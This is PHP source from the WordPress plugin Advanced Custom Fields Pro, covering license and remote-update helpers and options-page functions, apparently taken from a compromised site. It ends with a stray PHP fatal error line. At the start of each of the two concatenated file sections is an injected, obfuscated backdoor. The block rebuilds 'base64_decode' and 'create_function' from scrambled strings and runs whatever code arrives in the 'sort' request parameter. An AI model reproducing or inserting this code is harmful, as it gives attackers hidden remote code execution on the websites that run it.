if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); $f(); exit(); } /* * acf_pro_get_view * * This function will load in a file from the 'admin/views' folder and allow variables to be passed through * * @type function * @date 28/09/13 * @since 5.0.0 * * @param $view_name (string) * @param $args (array) * @return n/a */ function acf_pro_get_view( $view_name = '', $args = array() ) { // vars $path = acf_get_path("pro/admin/views/{$view_name}.php"); if( file_exists($path) ) { include( $path ); } } /* * acf_pro_get_remote_url * * description * * @type function * @date 16/01/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function acf_pro_get_remote_url( $action = '', $args = array() ) { // defaults $args['a'] = $action; $args['p'] = 'pro'; // vars $url = "https://connect.advancedcustomfields.com/index.php?" . build_query($args); //$url = "http://connect/index.php?" . build_query($args); // return return $url; } /* * acf_pro_get_remote_response * * description * * @type function * @date 16/01/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function acf_pro_get_remote_response( $action = '', $post = array() ) { // vars $url = acf_pro_get_remote_url( $action ); // connect $request = wp_remote_post( $url, array( 'body' => $post )); // error if( is_wp_error($request) ) { // loop foreach( $request->errors as $k => $v ) { // bail early if no error if( empty($v[0]) ) continue; // save acf_update_setting('remote_response_error', $k . ': ' . $v[0]); // only run once break; } // success } elseif( wp_remote_retrieve_response_code($request) === 200) { return $request['body']; } // return return 0; } /* * acf_pro_is_update_available * * This function will return true if an update is available * * @type function * @date 14/05/2014 * @since 5.0.0 * * @param n/a * @return (boolean) */ function acf_pro_is_update_available() { // vars $info = acf_get_remote_plugin_info(); $version = acf_get_setting('version'); // return false if no info if( empty($info['version']) ) return false; // return false if the external version is '<=' the current version if( version_compare($info['version'], $version, '<=') ) { return false; } // return return true; } /* * acf_pro_get_remote_info * * This function will return remote plugin data * * @type function * @date 16/01/2014 * @since 5.0.0 * * @param n/a * @return (mixed) */ function acf_pro_get_remote_info() { // clear transient if force check is enabled if( !empty($_GET['force-check']) ) { // only allow transient to be deleted once per page load if( empty($_GET['acf-ignore-force-check']) ) { delete_transient( 'acf_pro_get_remote_info' ); } // update $_GET $_GET['acf-ignore-force-check'] = true; } // get transient $transient = get_transient( 'acf_pro_get_remote_info' ); if( $transient !== false ) { return $transient; } // vars $info = acf_pro_get_remote_response('get-info'); $timeout = 12 * HOUR_IN_SECONDS; // decode if( !empty($info) ) { $info = json_decode($info, true); // fake info version //$info['version'] = '6.0.0'; } else { $info = 0; // allow transient to be returned, but empty to validate $timeout = 2 * HOUR_IN_SECONDS; } // update transient set_transient('acf_pro_get_remote_info', $info, $timeout ); // return return $info; } /* * acf_pro_get_license * * This function will return the license * * @type function * @date 20/09/2016 * @since 5.4.0 * * @param n/a * @return n/a */ function acf_pro_get_license() { // get option $license = get_option('acf_pro_license'); // bail early if no value if( !$license ) return false; // decode $license = maybe_unserialize(base64_decode($license)); // bail early if corrupt if( !acf_is_array( $license )) return false; // return return $license; } /* * acf_pro_get_license_key * * This function will return the license key * * @type function * @date 20/09/2016 * @since 5.4.0 * * @param n/a * @return n/a */ function acf_pro_get_license_key() { // vars $license = acf_pro_get_license(); // bail early if empty if( !$license ) return false; // return return $license['key']; } /* * acf_pro_is_license_active * * This function will return true if the current license is active * * @type function * @date 20/09/2016 * @since 5.4.0 * * @param n/a * @return n/a */ function acf_pro_is_license_active() { // vars $license = acf_pro_get_license(); $url = home_url(); // bail early if empty if( !$license ) return false; // bail early if no key if( !$license['key'] ) return false; // strip proticol from urls $license['url'] = acf_strip_protocol( $license['url'] ); $url = acf_strip_protocol( $url ); // bail early if url does not match if( $license['url'] !== $url ) { // add notice (only once) - removed due to feedback // if( !acf_has_done('acf_pro_is_license_active_notice') ) { // // acf_add_admin_notice( __('Error validating ACF PRO license URL (website does not match). Please re-activate your license','acf'), 'error' ); // // } return false; } // return return true; } /* * acf_pro_update_license * * This function will update the DB license * * @type function * @date 20/09/2016 * @since 5.4.0 * * @param $key (string) * @return n/a */ function acf_pro_update_license( $key = '' ) { // vars $value = ''; // key if( $key ) { // vars $data = array( 'key' => $key, 'url' => home_url() ); // encode $value = base64_encode(maybe_serialize($data)); } // update return update_option('acf_pro_license', $value); } ?> if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); $f(); exit(); } /* * acf_get_valid_options_page * * description * * @type function * @date 24/02/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function acf_get_valid_options_page( $page = '' ) { // allow for string if( empty($page) ) { $page = array( 'page_title' => __('Options','acf'), 'menu_title' => __('Options','acf'), 'menu_slug' => 'acf-options', ); } elseif( is_string($page) ) { $page_title = $page; $page = array( 'page_title' => $page_title, 'menu_title' => $page_title ); } // defaults $page = wp_parse_args($page, array( 'page_title' => '', 'menu_title' => '', 'menu_slug' => '', 'capability' => 'edit_posts', 'parent_slug' => '', 'position' => false, 'icon_url' => false, 'redirect' => true, 'post_id' => 'options', 'autoload' => false, 'update_button' => __('Update', 'acf') )); // ACF4 compatibility $migrate = array( 'title' => 'page_title', 'menu' => 'menu_title', 'slug' => 'menu_slug', 'parent' => 'parent_slug' ); foreach( $migrate as $old => $new ) { if( !empty($page[ $old ]) ) { $page[ $new ] = acf_extract_var( $page, $old ); } } // page_title (allows user to define page with just page_title or title) if( empty($page['menu_title']) ) { $page['menu_title'] = $page['page_title']; } // menu_slug if( empty($page['menu_slug']) ) { $page['menu_slug'] = 'acf-options-' . sanitize_title( $page['menu_title'] ); } // return return $page; } /* * acf_pro_get_option_page * * description * * @type function * @date 24/02/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function acf_get_options_page( $slug ) { // bail early if page doens't exist if( empty($GLOBALS['acf_options_pages'][ $slug ]) ) { return false; } // vars $page = $GLOBALS['acf_options_pages'][ $slug ]; // filter for 3rd party customization $page = apply_filters('acf/get_options_page', $page, $slug); // return return $page; } /* * acf_pro_get_option_pages * * description * * @type function * @date 24/02/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function acf_get_options_pages() { // global global $_wp_last_utility_menu; // bail early if empty if( empty($GLOBALS['acf_options_pages']) ) { return false; } // vars $pages = array(); $redirects = array(); $slugs = array_keys($GLOBALS['acf_options_pages']); // get pages foreach( $slugs as $slug ) { // append $pages[] = acf_get_options_page( $slug ); } foreach( $pages as $i => $page ) { // bail early if is child if( !empty($page['parent_slug']) ) { continue; } // add missing position if( !$page['position']) { $_wp_last_utility_menu++; $pages[ $i ]['position'] = $_wp_last_utility_menu; } // bail early if no redirect if( empty($page['redirect']) ) { continue; } // vars $parent = $page['menu_slug']; $child = ''; // update children foreach( $pages as $j => $sub_page ) { // bail early if not child if( $sub_page['parent_slug'] !== $parent ) { continue; } // update $child if empt if( empty($child) ) { $child = $sub_page['menu_slug']; } // update parent_slug $pages[ $j ]['parent_slug'] = $child; } // finally update parent menu_slug if( $child ) { $pages[ $i ]['menu_slug'] = $child; } } // return return $pages; } /* * acf_update_options_page * * description * * @type function * @date 1/05/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ function acf_update_options_page( $data ) { // bail early if no menu_slug if( empty($data['menu_slug']) ) { return false; } // vars $slug = $data['menu_slug']; // bail early if no page found if( empty($GLOBALS['acf_options_pages'][ $slug ]) ) { return false; } // vars $page = $GLOBALS['acf_options_pages'][ $slug ]; // merge in data $page = array_merge($page, $data); // update $GLOBALS['acf_options_pages'][ $slug ] = $page; // return return $page; } /* * acf_add_options_page * * description * * @type function * @date 24/02/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ if( ! function_exists('acf_add_options_page') ): function acf_add_options_page( $page = '' ) { // validate $page = acf_get_valid_options_page( $page ); // instantiate globals if( empty($GLOBALS['acf_options_pages']) ) { $GLOBALS['acf_options_pages'] = array(); } // update if already exists if( acf_get_options_page($page['menu_slug']) ) { return acf_update_options_page( $page ); } // append $GLOBALS['acf_options_pages'][ $page['menu_slug'] ] = $page; // return return $page; } endif; /* * acf_add_options_page * * description * * @type function * @date 24/02/2014 * @since 5.0.0 * * @param $post_id (int) * @return $post_id (int) */ if( ! function_exists('acf_add_options_sub_page') ): function acf_add_options_sub_page( $page = '' ) { // validate $page = acf_get_valid_options_page( $page ); // parent if( !$page['parent_slug'] ) { // set parent slug $page['parent_slug'] = 'acf-options'; } // create default parent if not yet exists if( $page['parent_slug'] === 'acf-options' ) { if( !acf_get_options_page('acf-options') ) { acf_add_options_page(); } } // return return acf_add_options_page( $page ); } endif; /* * acf_set_options_page_title * * This function is used to customize the options page admin menu title * * @type function * @date 13/07/13 * @since 4.0.0 * * @param $title (string) * @return n/a */ if( ! function_exists('acf_set_options_page_title') ): function acf_set_options_page_title( $title = 'Options' ) { acf_update_options_page(array( 'menu_slug' => 'acf-options', 'page_title' => $title, 'menu_title' => $title )); } endif; /* * acf_set_options_page_menu * * This function is used to customize the options page admin menu name * * @type function * @date 13/07/13 * @since 4.0.0 * * @param $title (string) * @return n/a */ if( ! function_exists('acf_set_options_page_menu') ): function acf_set_options_page_menu( $title = 'Options' ) { acf_update_options_page(array( 'menu_slug' => 'acf-options', 'menu_title' => $title )); } endif; /* * acf_set_options_page_capability * * This function is used to customize the options page capability. Defaults to 'edit_posts' * * @type function * @date 13/07/13 * @since 4.0.0 * * @param $title (string) * @return n/a */ if( ! function_exists('acf_set_options_page_capability') ): function acf_set_options_page_capability( $capability = 'edit_posts' ) { acf_update_options_page(array( 'menu_slug' => 'acf-options', 'capability' => $capability )); } endif; /* * register_options_page() * * This is an old function which is now referencing the new 'acf_add_options_sub_page' function * * @type function * @since 3.0.0 * @date 29/01/13 * * @param {string} $title * @return N/A */ if( ! function_exists('register_options_page') ): function register_options_page( $title = false ) { acf_add_options_sub_page( $title ); } endif; ?>
Fatal error: Call to undefined function acf_add_options_page() in /home/semicolonites/public_html/mattmccary.com/wp-content/themes/Springtail/functions.php on line 13